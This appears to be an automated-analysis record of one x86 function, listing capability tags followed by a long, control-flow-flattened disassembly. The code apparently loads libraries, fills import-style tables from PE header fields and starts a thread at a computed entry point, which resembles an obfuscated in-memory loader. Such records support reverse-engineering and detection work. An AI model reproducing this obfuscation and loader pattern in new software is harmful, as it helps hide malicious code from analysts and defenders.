Function at 0x4012e0
Capabilities:
Access peb ldr_data
Create thread
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
mov eax, 0x1b7a0
call fcn.0043d1e0
mov eax, dword [0x4822c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov eax, 0xd8388505
jmp 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x3f53f7ce
mov edi, 0x48351fb8
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
nop
cmp eax, 0x9c16264
jle 0x4013c0
cmp eax, 0x453ca4cb
jg 0x401440
cmp eax, 0x2d0178e3
jle 0x401527
cmp eax, 0x399e990f
jle 0x4016af
cmp eax, 0x3e84a4ac
jg 0x40199c
cmp eax, 0x3c45783c
jg 0x401f09
cmp eax, 0x3a71e7f7
jle 0x40282c
cmp eax, 0x3a71e7f8
je 0x403528
cmp eax, 0x3aebb314
je 0x403532
cmp eax, 0x3b760e15
jne 0x401340
cmp dword [ebp - 0x1b764], 0
mov eax, 0xbeab1b2
mov ecx, 0x48f171f4
cmove eax, ecx
jmp 0x401340
cmp eax, 0xbcb1c045
jle 0x4014b0
cmp eax, 0xe2b41d2d
jle 0x40158e
cmp eax, 0xf1c36da5
jle 0x401740
cmp eax, 0x23b59e
jg 0x4019dd
cmp eax, 0xf5dc748a
jg 0x401f49
cmp eax, 0xf36530ee
jle 0x40284c
cmp eax, 0xf36530ef
je 0x403558
cmp eax, 0xf4d96c4d
je 0x4035c8
cmp eax, 0xf55d3886
jne 0x401340
mov eax, dword [ebp - 0x1b644]
mov dword [eax], 2
mov eax, 0xe82f9dea
jmp 0x401340
cmp eax, 0x601bbd8b
jle 0x4015e5
cmp eax, 0x6f1fde26
jle 0x401792
cmp eax, 0x7ae8da9c
jg 0x401a2f
cmp eax, 0x73b5e808
jg 0x401f8d
cmp eax, 0x6f3e061e
jle 0x402878
cmp eax, 0x6f3e061f
je 0x4035de
cmp eax, 0x72c5649b
je 0x403638
cmp eax, 0x73af38f1
jne 0x401340
mov eax, 0xed828125
jmp 0x401340
cmp eax, 0xa1cb89f0
jg 0x401658
cmp eax, 0x933ee6f8
jg 0x4017de
cmp eax, 0x8aa94c11
jg 0x401a7f
cmp eax, 0x834c05c0
jg 0x401fc9
cmp eax, 0x812457e9
jle 0x4028a9
cmp eax, 0x812457ea
je 0x403642
cmp eax, 0x8187f123
je 0x40364c
cmp eax, 0x82f81b8c
jne 0x401340
mov eax, dword [0x4843e0]
mov esi, 0xb3ecea91
mov edi, 0xf2271146
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xf2271146
jmp 0x404da2
cmp eax, 0x19afaa5c
jg 0x40183f
cmp eax, 0x113fb2b6
jle 0x401ac0
cmp eax, 0x1540cd6c
jg 0x402027
cmp eax, 0x12bfc72a
jle 0x4028da
cmp eax, 0x12bfc72b
je 0x40365c
cmp eax, 0x14ec6978
je 0x403666
cmp eax, 0x15087b4f
jne 0x401340
mov eax, dword [ebp - 0x1b794]
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0xa0c6ebd5
jmp 0x403a46
cmp eax, 0xd1123688
jg 0x40188b
cmp eax, 0xc453c466
jle 0x401b10
cmp eax, 0xca5dcec9
jg 0x40205d
cmp eax, 0xc93ed09c
jle 0x402924
cmp eax, 0xc93ed09d
je 0x403670
cmp eax, 0xc9a21db4
je 0x4036ab
cmp eax, 0xc9a8bc79
jne 0x401340
mov eax, 0x981b50e8
jmp 0x401340
cmp eax, 0x53933b24
jg 0x4018e6
cmp eax, 0x4c6d4b00
jle 0x401b5e
cmp eax, 0x4ff1af5b
jg 0x4020a4
cmp eax, 0x4d509da0
jle 0x402955
cmp eax, 0x4d509da1
je 0x4036d1
cmp eax, 0x4dc94918
je 0x403761
cmp eax, 0x4ede106e
jne 0x401340
mov eax, dword [0x4843e0]
mov edi, 0xc072c2c4
mov esi, 0xf80a067
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xf80a067
jmp 0x404b46
cmp eax, 0xb069b979
jg 0x401941
cmp eax, 0xa79e6c75
jle 0x401bbb
cmp eax, 0xac0c2dda
jg 0x40210c
cmp eax, 0xa7b62c15
jle 0x402975
cmp eax, 0xa7b62c16
je 0x403777
cmp eax, 0xa82f2909
je 0x4037ab
cmp eax, 0xaafd79a4
jne 0x401340
mov eax, 0x5909928e
jmp 0x401340
cmp eax, 0x3277c7f1
jle 0x401c0d
cmp eax, 0x35517088
jg 0x402152
cmp eax, 0x32ed0bcd
jle 0x4029a1
cmp eax, 0x32ed0bce
je 0x4037b5
cmp eax, 0x330eaa13
je 0x4037bf
cmp eax, 0x35355e84
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x8187f123
mov edi, 0xa7b28626
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov edx, dword [ebp - 0x1b6bc]
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
cmovge eax, esi
mov dword [ebp - 0x1b6fc], edx
jmp 0x401340
cmp eax, 0xe9caebab
jle 0x401c67
cmp eax, 0xec0add48
jg 0x4021a4
cmp eax, 0xeaf3b9d7
jle 0x4029f8
cmp eax, 0xeaf3b9d8
je 0x4037c9
cmp eax, 0xebce9116
je 0x403806
cmp eax, 0xebf4ade7
jne 0x401340
mov eax, dword [ebp - 0x1b6b8]
mov eax, 0x15eb3641
jmp 0x401340
cmp eax, 0x65c7791f
jle 0x401ccb
cmp eax, 0x6a528b15
jg 0x402217
cmp eax, 0x6932520f
jle 0x402a29
cmp eax, 0x69325210
je 0x40382c
cmp eax, 0x69d02765
je 0x40384b
cmp eax, 0x6a089e20
jne 0x401340
mov eax, 0xebce9116
jmp 0x401340
cmp eax, 0x984f6842
jle 0x401d0c
cmp eax, 0x9e4f334e
jg 0x402266
cmp eax, 0x9a2bfb67
jle 0x402a5a
cmp eax, 0x9a2bfb68
je 0x403869
cmp eax, 0x9c0cd7ef
je 0x403888
cmp eax, 0x9d8505a2
jne 0x401340
mov eax, dword [0x4843e0]
mov edi, 0x92c8558c
mov esi, 0x3a140ded
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x3a140ded
jmp 0x404b3e
cmp eax, 0x229e74e0
jle 0x401d4d
cmp eax, 0x2af139ec
jg 0x4022b4
cmp eax, 0x27d7713f
jle 0x402a92
cmp eax, 0x27d77140
je 0x4038b0
cmp eax, 0x286ea49c
je 0x4038ba
cmp eax, 0x2a2f3f8d
jne 0x401340
mov eax, 0x167590a
jmp 0x401340
cmp eax, 0xda278889
jle 0x401db8
cmp eax, 0xdee733fc
jg 0x4022f8
cmp eax, 0xdd549ea9
jle 0x402ac7
cmp eax, 0xdd549eaa
je 0x4038ec
cmp eax, 0xdddc4618
je 0x403907
cmp eax, 0xddedd303
jne 0x401340
cmp byte [ebp - 0x1b65e], 0
mov eax, 0x6caa3656
mov ecx, 0xdf5c27a8
cmovne eax, ecx
jmp 0x401340
cmp eax, 0x5a9b53c7
jle 0x401e0a
cmp eax, 0x5e04b7a6
jg 0x40232e
cmp eax, 0x5d220e30
jle 0x402ae7
cmp eax, 0x5d220e31
je 0x403911
cmp eax, 0x5d543442
je 0x403930
cmp eax, 0x5e0172d6
jne 0x401340
cmp byte [ebp - 0x1b664], 0
mov eax, 0x9379b928
mov ecx, 0x5e56fef8
cmovne eax, ecx
jmp 0x401340
cmp eax, 0xb738eefb
jle 0x401e5b
cmp eax, 0xbb4a455d
jg 0x402381
cmp eax, 0xb962bbef
jle 0x402b07
cmp eax, 0xb962bbf0
je 0x40394b
cmp eax, 0xbad81c91
je 0x40397f
cmp eax, 0xbaf47af3
jne 0x401340
cmp byte [ebp - 0x1b662], 0
mov eax, 0x16022a70
mov ecx, 0xdee733fd
cmovne eax, ecx
jmp 0x401340
cmp eax, 0x3fe730e5
jg 0x4023c6
cmp eax, 0x3f53f7cd
jle 0x402b27
cmp eax, 0x3f53f7ce
je 0x403989
cmp eax, 0x3f851ac1
je 0x403993
cmp eax, 0x3fdc90b5
jne 0x401340
mov eax, 0x7babd773
jmp 0x401340
cmp eax, 0x489ed33
jg 0x402426
cmp eax, 0x1675909
jle 0x402b47
cmp eax, 0x167590a
je 0x4039c7
cmp eax, 0x1eb85dc
je 0x4039e6
cmp eax, 0x3ce66ca
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x3fdc90b5
mov edi, 0x7babd773
jmp 0x401317
cmp eax, 0x7cd17c98
jg 0x402488
cmp eax, 0x7babd772
jle 0x402b67
cmp eax, 0x7babd773
je 0x4039f0
cmp eax, 0x7bb81b5c
je 0x403a24
cmp eax, 0x7c5f6373
jne 0x401340
cmp byte [ebp - 0x1b665], 0
mov eax, 0x7ae8da9d
mov ecx, 0x6ea06375
cmovne eax, ecx
jmp 0x401340
cmp eax, 0x8ea5570f
jg 0x4024be
cmp eax, 0x8b50cb3b
jle 0x402bb1
cmp eax, 0x8b50cb3c
je 0x403a3a
cmp eax, 0x8c49de93
je 0x403a53
cmp eax, 0x8e21decb
jne 0x401340
mov eax, 0x18b41cf2
jmp 0x401340
cmp eax, 0xddfd18f
jle 0x402513
cmp eax, 0xec6b9fb
jle 0x402bd1
cmp eax, 0xec6b9fc
je 0x403a5d
cmp eax, 0xf80a067
je 0x403a73
cmp eax, 0x10b90db0
jne 0x401340
cmp byte [ebp - 0x1b65d], 0
mov eax, 0x7e836b0a
mov ecx, 0x60b79893
cmovne eax, ecx
jmp 0x401340
cmp eax, 0xbfa0e4dd
jle 0x40255a
cmp eax, 0xc09a1d3e
jle 0x402c1b
cmp eax, 0xc09a1d3f
je 0x403a9c
cmp eax, 0xc2a71498
je 0x403ac4
cmp eax, 0xc44d07aa
jne 0x401340
mov eax, dword [ebp - 0x1b72c]
inc eax
mov dword [ebp - 0x1b670], eax
mov eax, 0xb6ca8dd
jmp 0x401340
cmp eax, 0x48f171f3
jle 0x40259d
cmp eax, 0x4a573878
jle 0x402c6b
cmp eax, 0x4a573879
je 0x403ace
cmp eax, 0x4ae49810
je 0x403b09
cmp eax, 0x4bee12d6
jne 0x401340
mov eax, dword [0x4843e0]
mov edi, 0xb6ff6c23
mov esi, 0x528c24f6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x528c24f6
jmp 0x404b46
cmp eax, 0xa411cdae
jle 0x4025d4
cmp eax, 0xa4764ff4
jle 0x402c91
cmp eax, 0xa4764ff5
je 0x403b24
cmp eax, 0xa6d5a830
je 0x403b2e
cmp eax, 0xa71fdade
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xd77e308c
mov edi, 0xe13cad56
jmp 0x401317
cmp eax, 0x2f8b7d10
jle 0x402614
cmp eax, 0x30ccaab7
jle 0x402cb1
cmp eax, 0x30ccaab8
je 0x403b47
cmp eax, 0x30d84f24
je 0x403b6e
cmp eax, 0x318d0c81
jne 0x401340
mov eax, dword [ebp - 0x1b650]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1b630]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x1b778], eax
mov eax, 0x5e04b7a7
jmp 0x401340
cmp eax, 0xe82f9de9
jle 0x402688
cmp eax, 0xe9592940
jle 0x402cd1
cmp eax, 0xe9592941
je 0x403b8f
cmp eax, 0xe9b41f0d
je 0x403b99
cmp eax, 0xe9becc5b
jne 0x401340
mov eax, dword [ebp - 0x1b638]
push dword [ebp - 0x1b6d4]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x1b638]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1b638]
mov eax, 0xf36530ef
jmp 0x401340
cmp eax, 0x6212c0ad
jle 0x4026c2
cmp eax, 0x63c8604a
jle 0x402d02
cmp eax, 0x63c8604b
je 0x403bed
cmp eax, 0x64aab816
je 0x403bf7
cmp eax, 0x6539da0f
jne 0x401340
mov eax, 0xf4d96c4d
jmp 0x401340
cmp eax, 0x94f13b78
jle 0x4026ed
cmp eax, 0x96f256fc
jle 0x402d33
cmp eax, 0x96f256fd
je 0x403ce6
cmp eax, 0x981b50e8
je 0x403d31
cmp eax, 0x98377f18
jne 0x401340
mov eax, 0x627fbe82
jmp 0x401340
cmp eax, 0x1eec41f3
jle 0x402742
cmp eax, 0x206e4650
jle 0x402d5a
cmp eax, 0x206e4651
je 0x403d82
cmp eax, 0x226d9c4e
je 0x403da9
cmp eax, 0x2279268d
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xd366dc64
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x3277c7f2
jmp 0x404919
cmp eax, 0xd676549a
jle 0x40277e
cmp eax, 0xd80851c5
jle 0x402d86
cmp eax, 0xd80851c6
je 0x403db3
cmp eax, 0xd8388505
je 0x403dbd
cmp eax, 0xd9d538ee
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x77bf4adc
mov edi, 0xdd549eaa
jmp 0x401317
cmp eax, 0x5759f6a1
jle 0x4027c1
cmp eax, 0x57fc8226
jle 0x402da6
cmp eax, 0x57fc8227
je 0x403dd8
cmp eax, 0x5909928e
je 0x403de2
cmp eax, 0x5a57dce3
jne 0x401340
mov eax, dword [ebp - 0x1b7a0]
not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
mov eax, 0xf14a968a
jmp 0x404585
cmp eax, 0xb1f80403
jle 0x402801
cmp eax, 0xb3ecea90
jle 0x402dd2
cmp eax, 0xb3ecea91
je 0x403dec
cmp eax, 0xb4f06b1b
je 0x403e27
cmp eax, 0xb6ff6c23
jne 0x401340
mov eax, dword [ebp - 0x1b63c]
mov ecx, dword [ebp - 0x1b658]
mov edx, dword [ebp - 0x1b67c]
mov esi, 0xe0ab97bc
lea ecx, [ecx + ecx*4]
mov eax, dword [eax]
mov ecx, dword [edx + ecx*4 + 0x10]
add ecx, dword [ebp - 0x1b624]
mov edx, dword [ebp - 0x1b630]
mov edx, dword [edx]
mov dword [ecx + edx*4], eax
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x528c24f6
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x1b63c]
cmovge eax, edx
jmp 0x401340
cmp eax, 0x3c62e8aa
jle 0x402df2
cmp eax, 0x3c62e8ab
je 0x403e5b
cmp eax, 0x3ce80a27
je 0x403e65
cmp eax, 0x3d4fbb14
jne 0x401340
mov dword [ebp - 0x1b62c], 0
mov eax, 0x60d89541
jmp 0x401340
cmp eax, 0xf927a4fc
jle 0x402e2a
cmp eax, 0xf927a4fd
je 0x403e79
cmp eax, 0xfa52b846
je 0x403e9c
cmp eax, 0xfd0df4ee
jne 0x401340
mov eax, dword [ebp - 0x1b634]
mov eax, dword [eax]
mov dword [ebp - 0x1b7a0], eax
mov eax, 0x5a57dce3
jmp 0x401340
cmp eax, 0x77bf4adb
jle 0x402e4a
cmp eax, 0x77bf4adc
je 0x403ea6
cmp eax, 0x7873ee82
je 0x403eb0
cmp eax, 0x798111bd
jne 0x401340
mov eax, dword [ebp - 0x1b638]
mov eax, 0xd1123689
jmp 0x401340
cmp eax, 0x8475d6e0
jle 0x402e7b
cmp eax, 0x8475d6e1
je 0x403f03
cmp eax, 0x871f17a8
je 0x403f1e
cmp eax, 0x8a54d6a3
jne 0x401340
mov eax, dword [ebp - 0x1b740]
mov eax, dword [eax]
add eax, dword [ebp - 0x1b73c]
mov dword [ebp - 0x1b6ec], eax
mov eax, dword [ebp - 0x1b64c]
mov eax, dword [eax + 4]
add eax, 0xfffffff8
shr eax, 1
mov dword [ebp - 0x1b744], eax
mov eax, 0xa411cdaf
jmp 0x401340
cmp eax, 0x16022a6f
jle 0x402e9b
cmp eax, 0x16022a70
je 0x403f28
cmp eax, 0x18b41cf2
je 0x403f3c
cmp eax, 0x195f7a70
jne 0x401340
mov eax, 0x30ccaab8
jmp 0x401340
cmp eax, 0xcd76f7ab
jle 0x402ef3
cmp eax, 0xcd76f7ac
je 0x403f76
cmp eax, 0xce8cd05e
je 0x40403b
cmp eax, 0xd0c871be
jne 0x401340
mov eax, dword [ebp - 0x1b680]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x1b6d8], eax
mov eax, 0x4ede106e
jmp 0x401340
cmp eax, 0x518c205c
jle 0x402f13
cmp eax, 0x518c205d
je 0x40405a
cmp eax, 0x51a51e08
je 0x4040d6
cmp eax, 0x528c24f6
jne 0x401340
mov eax, dword [ebp - 0x1b63c]
mov ecx, dword [ebp - 0x1b658]
mov edx, dword [ebp - 0x1b67c]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax]
mov ecx, dword [edx + ecx*4 + 0x10]
add ecx, dword [ebp - 0x1b624]
mov edx, dword [ebp - 0x1b630]
mov edx, dword [edx]
mov dword [ecx + edx*4], eax
mov eax, dword [ebp - 0x1b63c]
mov eax, 0xb6ff6c23
jmp 0x401340
cmp eax, 0xaeb437f9
jle 0x402f7a
cmp eax, 0xaeb437fa
je 0x4040e0
cmp eax, 0xaf8622eb
je 0x404106
cmp eax, 0xaf8b00f7
jne 0x401340
mov eax, dword [ebp - 0x1b630]
mov dword [ebp - 0x1b62c], 0xd
mov eax, 0x4440ae0b
jmp 0x401340
cmp eax, 0x37e7c1f6
jle 0x402f9a
cmp eax, 0x37e7c1f7
je 0x404110
cmp eax, 0x38d61d9d
je 0x40411a
cmp eax, 0x38fe6b2e
jne 0x401340
mov eax, dword [0x4843e0]
mov edi, 0x2279268d
mov esi, 0x3277c7f2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x3277c7f2
jmp 0x404b46
cmp eax, 0xef573dba
jle 0x402fd2
cmp eax, 0xef573dbb
je 0x404130
cmp eax, 0xf14a968a
je 0x40414d
cmp eax, 0xf176a587
jne 0x401340
mov eax, dword [ebp - 0x1b6dc]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x1b6a4]
mov ecx, dword [ebp - 0x1b6a4]
add eax, dword [ebp - 0x1b6a4]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x1b690]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1b674]
mov eax, 0xc453c467
jmp 0x401340
cmp eax, 0x6caa3655
jle 0x40300a
cmp eax, 0x6caa3656
je 0x404163
cmp eax, 0x6d3d494c
je 0x404177
cmp eax, 0x6ea06375
jne 0x401340
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1b65c]
mov eax, dword [eax]
mov dword [ebp - 0x1b7ac], eax
mov eax, 0x55824953
jmp 0x401340
cmp eax, 0x9fba5e5a
jle 0x403046
cmp eax, 0x9fba5e5b
je 0x404181
cmp eax, 0xa0264f32
je 0x404197
cmp eax, 0xa0c6ebd5
jne 0x401340
mov eax, dword [ebp - 0x1b634]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0x7fffffff
and ecx, eax
mov eax, 0x8b50cb3c
mov dword [ebp - 0x1b798], ecx
jmp 0x401340
cmp eax, 0x2be217dd
jle 0x403075
cmp eax, 0x2be217de
je 0x4041e2
cmp eax, 0x2c063eb2
je 0x4041f6
cmp eax, 0x2cedd72d
jne 0x401340
mov eax, dword [ebp - 0x1b634]
mov eax, dword [eax]
mov dword [ebp - 0x1b790], eax
mov eax, 0x37a69cb9
jmp 0x401340
cmp eax, 0xe0ab97bb
jle 0x4030c3
cmp eax, 0xe0ab97bc
je 0x404200
cmp eax, 0xe13cad56
je 0x40420a
cmp eax, 0xe232e828
jne 0x401340
mov eax, 0x518c205d
jmp 0x401340
cmp eax, 0x5efdfa39
jle 0x4030f4
cmp eax, 0x5efdfa3a
je 0x40423e
cmp eax, 0x600968c2
je 0x40425e
cmp eax, 0x6019569f
jne 0x401340
push dword [ebp - 0x1b728]
push dword [ebp - 0x1b724]
push dword [ebp - 0x1b714]
vzeroupper
call fcn.004400d0
add esp, 0xc
mov eax, 0xc9a21db4
jmp 0x401340
cmp eax, 0xbc195cce
jle 0x403125
cmp eax, 0xbc195ccf
je 0x404279
cmp eax, 0xbc3f58b6
je 0x4042a0
cmp eax, 0xbc4180ce
jne 0x401340
cmp byte [ebp - 0x1b660], 0
mov eax, 0xd352ff5f
mov ecx, 0x4c6d4b01
cmovne eax, ecx
jmp 0x401340
cmp eax, 0x420ffea3
jle 0x40314f
cmp eax, 0x420ffea4
je 0x4042b9
cmp eax, 0x4440ae0b
je 0x4042c3
cmp eax, 0x446719b6
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x69325210
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xe9592941
jmp 0x404919
cmp eax, 0x6e55491
jle 0x40316f
cmp eax, 0x6e55492
je 0x4042f7
cmp eax, 0x79880a0
je 0x404319
cmp eax, 0x93e2aff
jne 0x401340
mov eax, dword [ebp - 0x1b628]
mov esi, 0x2c063eb2
mov edi, 0x4d04264f
add eax, 0x50
mov dword [ebp - 0x1b6b8], eax
mov eax, dword [0x4843e0]
lea ecx, [eax + 1]
imul eax, ecx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
mov eax, 0x4d04264f
jmp 0x404daa
cmp eax, 0x7e1b11b8
jle 0x4031b9
cmp eax, 0x7e1b11b9
je 0x404363
cmp eax, 0x7e836b0a
je 0x4043b7
cmp eax, 0x7f54414d
jne 0x401340
mov eax, 0x38fe6b2e
jmp 0x401340
cmp eax, 0x8f32adaa
jle 0x4031f5
cmp eax, 0x8fd2aa1b
je 0x4043d2
cmp eax, 0x92c8558c
jne 0x404e85
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x5e0172d6
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x3a140ded
jmp 0x404919
cmp eax, 0xbeab1b1
jg 0x403256
cmp eax, 0x9c16265
je 0x4043f8
cmp eax, 0xb6ca8dd
jne 0x401340
mov eax, dword [0x4843e0]
mov edi, 0xec0add49
mov esi, 0xb900a7cc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb900a7cc
jmp 0x404b46
cmp eax, 0xbebb8c02
jg 0x403276
cmp eax, 0xbcb1c046
je 0x404408
cmp eax, 0xbdbb7483
jne 0x401340
mov eax, dword [ebp - 0x1b658]
mov ecx, dword [ebp - 0x1b67c]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x1b760], eax
mov eax, 0xbc3f58b6
jmp 0x401340
cmp eax, 0x47e30c79
jg 0x403296
cmp eax, 0x453ca4cc
je 0x404412
cmp eax, 0x467b8a6f
jne 0x401340
mov eax, dword [ebp - 0x1b644]
mov dword [eax], 0x40
mov eax, 0xcac15039
jmp 0x401340
cmp eax, 0xa323a0e9
jg 0x40330f
cmp eax, 0xa1cb89f1
je 0x40441c
cmp eax, 0xa2aa99c8
jne 0x401340
mov eax, dword [0x4843e0]
mov edi, 0x94f13b79
mov esi, 0x9c0cd7ef
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x9c0cd7ef
jmp 0x404b3e
cmp eax, 0x2d87cb99
jg 0x40334b
cmp eax, 0x2d0178e4
je 0x404437
cmp eax, 0x2d34dc40
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x601bbd8c
mov edi, 0x8b4b1d94
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, eax
mov eax, esi
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x1b654]
cmovge eax, esi
movzx ecx, word [ecx]
mov word [ebp - 0x1b6aa], cx
jmp 0x401340
cmp eax, 0xe3560915
jg 0x4033a9
cmp eax, 0xe2b41d2e
je 0x404486
cmp eax, 0xe2b509c1
jne 0x401340
cmp byte [ebp - 0x1b663], 0
mov eax, 0x23b59f
mov ecx, 0x2cedd72d
cmovne eax, ecx
jmp 0x401340
cmp eax, 0x60b79892
jg 0x4033e2
cmp eax, 0x601bbd8c
je 0x40449c
cmp eax, 0x60502403
jne 0x401340
mov eax, 0xe2b509c1
jmp 0x401340
cmp eax, 0x938d6d84
jg 0x403447
cmp eax, 0x933ee6f9
je 0x4044a6
cmp eax, 0x9379b928
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xe8af1e01
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xb39cc31b
jmp 0x404919
cmp eax, 0x1b379123
jg 0x40347f
cmp eax, 0x19afaa5d
je 0x4044b0
cmp eax, 0x1a2b54b6
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x2be217de
mov edi, 0xd676549b
jmp 0x401317
cmp eax, 0xd352ff5e
jg 0x40349f
cmp eax, 0xd1123689
je 0x4044c9
cmp eax, 0xd1bfc3ce
jne 0x401340
mov eax, dword [ebp - 0x1b628]
mov eax, dword [eax + 0x80]
add eax, dword [ebp - 0x1b624]
mov dword [ebp - 0x1b75c], eax
mov eax, 0x38d61d9d
jmp 0x401340
cmp eax, 0x5487ffaf
jg 0x4034bf
cmp eax, 0x53933b25
je 0x4044df
cmp eax, 0x54410eea
jne 0x401340
mov eax, dword [ebp - 0x1b738]
mov ecx, dword [ebp - 0x1b734]
cmp ecx, dword [eax]
mov eax, 0x47e30c7a
setb byte [ebp - 0x1b660]
jmp 0x401340
cmp eax, 0xb176684d
jg 0x4034f3
cmp eax, 0xb069b97a
je 0x404531
cmp eax, 0xb129839d
jne 0x401340
mov eax, 0xb069b97a
jmp 0x401340
cmp eax, 0x399e9910
je 0x40453b
cmp eax, 0x3a140ded
jne 0x401340
mov eax, 0x92c8558c
jmp 0x401340
cmp eax, 0xf1c36da6
je 0x40456f
cmp eax, 0xf2271146
jne 0x401340
mov eax, dword [ebp - 0x1b6c8]
mov eax, dword [ebp - 0x1b6c0]
mov eax, 0xb3ecea91
jmp 0x401340
cmp eax, 0x6f1fde27
je 0x404579
cmp eax, 0x6f3951bd
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x984f6843
mov edi, 0x2d0178e4
jmp 0x401317
cmp eax, 0x80941516
je 0x404592
cmp eax, 0x80eaf740
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xa4577bf4
mov edi, 0x40358510
jmp 0x401317
cmp eax, 0x113fb2b7
je 0x4045c6
cmp eax, 0x128d08ef
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0xc453c467
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xf176a587
jmp 0x404919
cmp eax, 0xc453c467
je 0x4045d0
cmp eax, 0xc896174a
jne 0x401340
mov eax, dword [ebp - 0x1b640]
mov esi, 0x9fba5e5b
mov edi, 0x7f54414d
mov dword [eax], 0
jmp 0x402c5a
cmp eax, 0x4c6d4b01
je 0x40462a
cmp eax, 0x4d04264f
jne 0x401340
mov eax, 0x93e2aff
jmp 0x401340
cmp eax, 0xa79e6c76
je 0x40464c
cmp eax, 0xa7b28626
jne 0x401340
mov ecx, dword [ebp - 0x1b6fc]
mov eax, 0x4a573879
mov dword [ebp - 0x1b6b4], ecx
jmp 0x401340
cmp eax, 0x3277c7f2
je 0x404656
cmp eax, 0x32970428
jne 0x401340
mov eax, dword [ebp - 0x1b648]
mov eax, dword [ebp - 0x1b648]
mov eax, dword [ebp - 0x1b648]
mov eax, dword [ebp - 0x1b648]
mov eax, dword [ebp - 0x1b648]
mov eax, dword [ebp - 0x1b648]
mov eax, dword [ebp - 0x1b648]
mov eax, dword [ebp - 0x1b648]
inc eax
mov dword [ebp - 0x1b698], eax
mov eax, 0x2d87cb9a
jmp 0x401340
cmp eax, 0xe9caebac
je 0x404660
cmp eax, 0xea41f6e0
jne 0x401340
mov edx, dword [0x4843e0]
mov ecx, dword [0x4843dc]
mov esi, 0x6d3d494c
mov edi, 0x4ff1af5c
jmp 0x401317
